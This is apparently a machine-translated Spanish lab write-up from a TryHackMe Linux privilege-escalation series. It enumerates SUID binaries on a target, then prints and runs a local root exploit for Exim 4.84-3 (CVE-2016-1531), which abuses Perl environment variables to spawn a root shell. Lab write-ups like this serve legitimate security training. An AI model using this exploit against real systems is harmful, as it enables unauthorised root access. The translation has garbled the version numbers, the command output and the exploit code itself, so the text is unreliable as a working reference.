Esta vez, intentaremos "Elevación de privilegios CVE-2016-1531 utilizando la vulnerabilidad en EXIM 484.3".
La máquina de destino usa la habitación debajo de TryhackMe.
"Tryhackme-Linux PrivSc: https://tryhackme.com/room/linuxprivesc "

Este artículo es la Parte 6.
Si desea verificar la redacción de Linux PrivSc con TryhackMe, también consulte Elevación de privilegios con trabajos cron




Preparación
Primero, inicie la máquina de destino.
Si está utilizando TryhackMe, seleccione "Inicio de la máquina".

Si la dirección IP se muestra como se muestra a continuación, ¡puede iniciarla!

Esta vez, la escalada de privilegios ocurrirá después de que haya podido conectarse a la máquina de destino, así que verifique el punto donde pueda conectarse a través de SSH.
┌── (Hacklab㉿hackLab)-[~] └─ $ SSH user@10.10.52.40 user@10.10.52.40's contraseña: Linux Debian 2.6.32-5-amd64 #1 SMP Tue 13 de mayo 16:34:35 UTC 2014 x86_64 Los programas incluidos con el sistema GNU/Linux de Debian son el sistema gratuito de mayo 16:34:35 UTC 2014 x86_64. Los términos de distribución exactos para cada programa se describen en los archivos individuales en/usr/share/doc/*/copyright. Debian GNU/Linux no tiene absolutamente ninguna garantía, en la medida permitida por la ley aplicable. Último inicio de sesión: Sol 9 de abril 08:54:59 2023 de IP-10-18-110-90.eu-west-1.compute.internal User@Debian: ~ $
Una vez que tiene acceso, la preparación anticipada está completa.
CVE-2016-1531 Elevación de privilegios utilizando vulnerabilidad en EXIM 484.3
Una vez que haya llegado tan lejos, intente elevar sus privilegios.
¿Qué es Suid/SGID?
CVE-2016-1531 utiliza el mecanismo Suid/SGID.
Primero, comprendamos brevemente Suids y SGID.
- UID: En Linux, los usuarios se administran mediante un número de identificación llamado UID.
- SUID: Si tiene permiso de ejecución, cuando se ejecuta un archivo, se ejecutará con los permisos del propietario.
- SGID: si tiene permiso de ejecución, cuando se ejecuta un archivo, se ejecutará con los permisos del grupo propiedad del archivo.
Encuentra vulnerabilidades
Así que comencemos buscando vulnerabilidades.
Buscaremos un ejecutable Suid/SGID.
usuario@debian: ~ $ find / -type f -a \ (-perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2>/dev/null -rwxr-sr-x 1 Root Shadow 19528 15 de febrero de 2011/usr/bin/expiry -rwxr-x 1 raíz ssh 108600 2 de abril de 2014/usr/bin/ssh-agent -rwsr-xr-x 1 raíz raíz 37552 15 de febrero de 2011/usr/bin/bin/bin/bin/chsh -rwsr-xr-x 2 168136 Jan 5 2016 /usr/bin/sudo -rwxr-sr-x 1 root tty 11000 Jun 17 2010 /usr/bin/bsd-write -rwxr-sr-x 1 root crontab 35040 Dec 18 2010 /usr/bin/crontab -rwsr-xr-x 1 root root 32808 Feb 15 2011 /usr/bin/newgrp -rwsr-xr-x 2 raíz de raíz 168136 5 de enero de 2016/usr/bin/sudoedit -rwxr-sr-x 1 root shadow 56976 15 de febrero de 2011/usr/bin/chage -rwsr-xr-x 1 raíz de raíz 43280 15 feb 15 2011/usr/bin/passwd -rwsr-xr-x 1 raíz de la raíz /usr/bin/gpasswd -rwsr-xr-x 1 raíz raíz 39856 15 de febrero de 2011/usr/bin/chfn -rwxr-sr-x 1 raíz tty 12000 25 de enero de 2011/usr/bin/wall -rwsr-sr-x 1 personal de raíz 9861 14 de mayo de 2017/usr/local/bin/suid-so -rwsr-stand. May 14 2017 /usr/local/bin/suid-env -rwsr-sr-x 1 root staff 6899 May 14 2017 /usr/local/bin/suid-env2 -rwsr-xr-x 1 root root 963691 May 13 2017 /usr/sbin/exim-4.84-3 -rwsr-xr-x 1 root root 6776 Dec 19 2010 /usr/lib/eject/dmCrypt-get-Device -rwsr-xr-x 1 raíz root 212128 2 de abril de 2014/usr/lib/openssh/ssh-keysign -rwsr-xr-x 1 root root 10592 15 de febrero de 2016/usr/lib/pt_chown --rwsr-xr-x 1 root root 36640 oct 14 feb 2016/usr/lib/pt_chown --rwsr-xr-x 1 root root 3660 oct 14 feb 2016/usr/lib/pt_chown --rwsr-xr-x 1 root root 3660 oct. /bin /ping6 -rwsr-xr-x 1 raíz raíz 34248 14 de octubre de 2010 /bin /ping -rwsr-xr-x 1 raíz raíz 78616 25 de enero de 2011 /bin /monte -rwsr-xr-x 1 raíz raíz 34024 15 de febrero 2011 /bin /su -rwsr-x-x 1 raíz 5364888 2011 2011 /bin umunt /umunt -RWXR-SR-X 1 Root Shadow 31864 17 de octubre de 2011 /sbin /unix_chkpwd -rwsr-xr-x 1 raíz de raíz 94992 13 de diciembre de 2014 /sbin/mount.nfs
No se pierda "/usr/sbin/exim-4.84-3" en la lista de archivos que pueden ser ejecutables con Suid/SGID.
A continuación, verifique la vulnerabilidad "EXIM-4.48-3" en Exploit-DB

Creo que hemos descubierto que "CVE-2016-1531" será un éxito en Exploit-DB.
Una vez que hayas llegado tan lejos, todo lo que tienes que hacer es ejecutar el shell que figura en Exploit-DB.

CVE-2016-1531 Elevación de privilegios usando EXIM 484.3
Ahora creemos el shell que figura en Exploit-DB en la máquina de destino.
Para TryhackMe, ya se ha creado a continuación.
usuario@debian: ~ $ cat /home/user/tools/suid/exim/cve-2016-1531.sh #!/bin/sh # cVe-2016-1531 exim <= 4.84-3 local exploit # ==== # puede escribir archivos como root o forzar un módulo PERL a # cargar por manipular el entorno PERL y correr # EXIM CON LOS EXIM CON LOS "PERL_ PERLOP Argumento -Ps. # # eg # [fantástico@localhost tmp] $ ./cve-2016-1531.sh # [cVe-2016-1531 exploit raíz local # sh-4.3 # id # uid = 0 (root) gid = 1000 (fantástico) grupos = 1000 (fantástico) #-hacker fantástico eco [cVe-2016-1531 local exploit cate> /tmp/oot. raíz de paquete; usar estricto; usar advertencias; sistema ("/bin/sh"); EOF perl5lib =/tmp perl5opt = -mroot/usr/exim/bin/exim -ps
Finalmente, solo ejecuta el caparazón que creaste.
Usuario@Debian: ~ $ /home/user/tools/suid/exim/cve-2016-1531.sh [CVE-2016-1531 Exploit de raíz local SH-4.1# Whoami Root
Pude obtener con éxito los privilegios raíz.
resumen
Esta vez, probamos "Elevación de privilegios CVE-2016-1531 utilizando la vulnerabilidad en EXIM 484.3".
Una vez que haya realizado el reconocimiento, solo debe ejecutar el contenido mencionado en Exploit-DB, por lo que fue fácil.
Dicho esto, notarás cuando en realidad estás explorando. . . Sentí que aún había más que aprender.
Referencias y sitios
-